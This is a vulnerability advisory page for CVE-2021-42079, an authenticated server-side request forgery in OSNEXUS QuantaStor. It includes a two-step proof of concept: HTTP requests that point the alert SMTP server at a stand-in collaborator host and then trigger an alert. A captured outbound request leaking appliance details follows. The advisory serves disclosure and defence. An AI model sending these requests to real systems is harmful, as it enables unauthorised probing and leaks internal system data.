CVE Vulnerabilities

CVE-2021-42079

Server-Side Request Forgery (SSRF)

Published: Jul 10, 2023 | Modified: Sep 22, 2025
CVSS 3.x
4.9
MEDIUM
Source:
NVD
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
CVSS 2.x
RedHat/V2
RedHat/V3
Ubuntu

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http:// HTTP/1.1

Host: Accept-Encoding: gzip, deflate

Accept: / Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: Accept-Encoding: gzip, deflate

Accept: /

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by looks like this: {  

Python FLASK stuff

 endpoint: index,   method: POST,   cookies: ImmutableMultiDict([]),  

END Python FLASK stuff

  data: b{   attachments: [    {

    fallback: [122] test / test.,

    color: #aa2222,

    title: [122] test,

    text: test,

    fields: [        {    

      title: Alert Severity,           value: CRITICAL,           short: false        },  {         title: Appliance,           value: quantastor (https://),           short: true  

     },  {    

      title: System / Driver / Kernel Ver,    

      value: 5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic,    

      short: false  

     },  {    

      title: System Startup,    

      value: Fri Aug  6 16-02-55 2021,    

      short: true  

      },  {    

      title: SSID,    

      value: f4823762-1dd1-1333-47a0-6238c474a7e7,    

      short: true  

     },     ],

    footer: QuantaStor Call-home Alert,

    footer_icon: https://platform.slack-edge.com/img/default_application_icon.png ,

    ts: 1628461774    }   ],   mrkdwn:true  },  #### FLASK REQUEST STUFF #####

 headers: {

  Host: ,   User-Agent: curl/7.58.0,   Accept: /,   Content-Type: application/json,   Content-Length: 790

 },  args: ImmutableMultiDict([]),  form: ImmutableMultiDict([]),  remote_addr: 217.103.63.173,  path: /payload/58,  whois_ip: TNF-AS, NL }

END FLASK REQUEST STUFF

Weakness

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Affected Software

Name Vendor Start Version End Version
Quantastor Osnexus * 6.0.0.355 (excluding)

References